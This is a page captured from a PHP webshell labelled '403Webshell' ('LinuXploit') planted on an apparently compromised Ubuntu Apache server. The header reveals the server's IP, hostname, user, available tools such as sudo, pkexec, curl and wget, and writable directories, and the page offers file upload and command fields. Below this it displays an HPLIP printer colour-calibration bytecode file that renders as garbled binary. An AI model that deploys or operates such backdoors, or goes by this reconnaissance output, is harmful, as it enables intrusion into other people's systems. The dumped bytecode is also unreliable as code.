403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.156
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/hplip/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/hplip/__pycache__/colorcal.cpython-310.pyc
o

�K0jM$�@sdZdZdZdZddlZddlZddlZddlZddlZddl	Tddl
mZmZm
Z
mZmZmZddlmZdd	lmZd
d�Zdd
�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Z�z�e�eeeedee fe!fddd�
Z"e"j#ej$gd�d�e"�%�\Z&Z'Z(Z)Z*Z+e"j,e'e(d ej-e.fid!�Z'e's�e�/d"�e0�1d#e'�e)e kr�e
�2�s�e0�3d$e�eZ)e)ek�r�ze�4e'e(�Z5Wne6y�Z7ze0�3d%e7j8�e�/d"�WYdZ7[7ndZ7[7wwz�ze5�9�Wne6y�e0�3d&�e�/d"�Ynwe5�:��r�e5j;�<d e.�Z=e0�>d'e=�e=e?k�re0�3d(�nse=e@k�r(e�Ae5ejBee�nde=eCk�r7e�De5ejBee�nUe=eEk�rFe�Fe5ejBee�nFe=eGk�rUe�He5ejBed�n7e=eIk�rbe�Je5ejB�n*e=eKk�roe�Le5ejB�ne=eMk�r|e�Ne5ejO�ne0�3d)�n
e0�3d*�e�/d"�We5�P�nXe5�P�wzdd+lQmRZRdd,lSmTZTWneU�y�e0�3d-�e�/d"�Ynw	eRejV�ZWeTde'�ZXeX�Y�ze0�>d.�eW�Z�Wne[�y�e�/d�Ynw	e�/d�Wne[�y�e0�3d/�Ynwe0�1d0�e0�1d1�dS)2z3.0z+Printer Cartridge Color Calibration Utilityzhp-colorcalzwPerform color calibration on HPLIP supported inkjet printers. (Note: Not all printers require the use of this utility).�N)�*)�device�status�utils�maint�tui�module)�input)�cupscCst�d|||f||�S)Nz<Enter the best aligned value for line %s (%d-%d or q=quit): �r�enter_range)�letter�hortvert�colors�minimum�maximum�r�/usr/share/hplip/colorcal.py�enterAlignmentNumber*s
��rcCst�d|d|�S)NzPEnter numbered arrow that is best aligned with the paper edge (1-%d or q=quit): �r)rrrr�enterPaperEdge.s
��rcCst�d||fd|�S)NzgEnter the numbered box on line %s that is best color matched to the background color (1-%d or q=quit): rr)�linerrrr�colorAdj2s
��rcC�t�ddd�S)Nz`Enter the numbered image labeled "1" thru "7" that is best color matched to the image labeled "Xr�rrrrr�colorCal6�rcCr)NzZSelect the number between 1 and 81 of the numbered patch that best matches the background.r�Qrrrrr�	colorCal29rrcC�t�d�dS)NzNInvalid cartridge(s) installed.
Please install valid cartridges and try again.��log�errorrrrr�
invalidPen<rr#cCr)NzPPhoto cartridge not installed.
Please install the photo cartridge and try again.r rrrr�photoPenRequired?rr$cCr)NzxPhoto cartridge or photo blue cartridge not installed.
Please install the photo (or photo blue) cartridge and try again.r rrrr�photoPenRequired2Brr%cCsbt�d�gd�}d}	tt�d��}|����dkrd}nu|����dkr/d\|d	<|d
<ndt|�dkr;t�d�qt|�d
krGt�d�q|d	��}|dvrWt�d�qz
t|d
d��}Wnt	yot�d�Yqw|d	ksx|dkr~t�d�qt
t|����t
d�|d	<|d
|d
<	|�r-	tt�d��}|����dkr�d}	||fS|����dkr�d\|d<|d
<	||fSt|�dkr�t�d�q�t|�d
kr�t�d�q�|d	��}|dvr�t�d�q�z
t|d
d��}Wnt	�yt�d�Yq�w|d	k�s|dk�rt�d�q�t
t|����t
d�|d<|d
|d
<	||fS||fS)Na?Instructions:
1. Hold the calibration page at arm's length in front of your eyes.
2. Tilt the page away from you. Look at the two large squares, each containing colored patches. For each large square, find the colored path that most closely matches the background color. Each patch has an associated letter and number.
)rrrrTzdEnter the letter ('A' thru 'N') and number (1 thru 14) for the GRAY plot (eg, "C5") or "q" to quit: �qF�d)���r(rr�z>You must enter at least two characters (a letter and a number)�zDEnter only a single letter and a one or two digit number (eg, "C5").�abcdefghijklmnz$You must enter a letter 'A' thru 'N'zDYou must enter a letter 'A' thru 'N' followed by a number 1 thru 14.��AzdEnter the letter ('P' thru 'V') and number (1 thru 7) for the COLOR plot (eg, "R3") or "q" to quit: zDEnter only a single letter and a one or two digit number (eg, "R3").�pqrstuvz$You must enter a letter 'P' thru 'V'zCYou must enter a letter 'P' thru 'V' followed by a number 1 thru 7.r�P)
r!�infor	�bold�lower�strip�lenr"�int�
ValueError�ord�str�upper)�values�ok�xr
�numberrrr�	colorCal4Fs�




�
"��



�
r>FT)zhp-alignzhp-cleanzhp-linefeedcalz	hp-pqdiag)�
see_also_listzcolor-cal-type)�filterrzUsing device : %s
z@%s -u/--gui requires Qt4 GUI support. Entering interactive mode.zUnable to open device: %sz>Unable to print to printer. Please check device and try again.zColor calibration type=%dz�Color calibration through HPLIP not supported for this printer. Please use the printer's front panel to perform color calibration.zInvalid color calibration type.zGDevice is busy or in an error state. Please check device and try again.)�QApplication)�ColorCalDialogz,Unable to load Qt4 support. Is it installed?zStarting GUI loop...z	User exit�zDone.)\�__version__�	__title__�__mod__�__doc__�sys�re�getopt�operator�os�base.g�baserrrrrr�base.sixext.movesr	�prntr
rrrrrr#r$r%r>�Module�INTERACTIVE_MODE�GUI_MODE�UI_TOOLKIT_QT4�mod�setUsage�USAGE_FLAG_DEVICE_ARGS�parseStdOpts�opts�
device_uri�printer_name�mode�
ui_toolkit�lang�getDeviceUri�ne�COLOR_CAL_TYPE_NONE�exitr!r0�canEnterGUIMode4r"�Devicer'�Error�e�msg�open�isIdleAndNoError�mq�get�color_cal_type�debug�COLOR_CAL_TYPE_UNSUPPORTED�COLOR_CAL_TYPE_DESKJET_450�
colorCalType1�load_paper_prompt�COLOR_CAL_TYPE_MALIBU_CRICK�
colorCalType2�(COLOR_CAL_TYPE_STRINGRAY_LONGBOW_TORNADO�
colorCalType3�COLOR_CAL_TYPE_CONNERY�
colorCalType4�COLOR_CAL_TYPE_COUSTEAU�
colorCalType5�COLOR_CAL_TYPE_CARRIER�
colorCalType6�COLOR_CAL_TYPE_TYPHOON�
colorCalType7�load_photo_paper_prompt�close�PyQt4.QtGuirA�ui4.colorcaldialogrB�ImportError�argv�app�dlg�show�exec_�KeyboardInterruptrrrr�<module>s� X����

��
�










�
�


�
��


Youez - 2016 - github.com/yon3zu
LinuXploit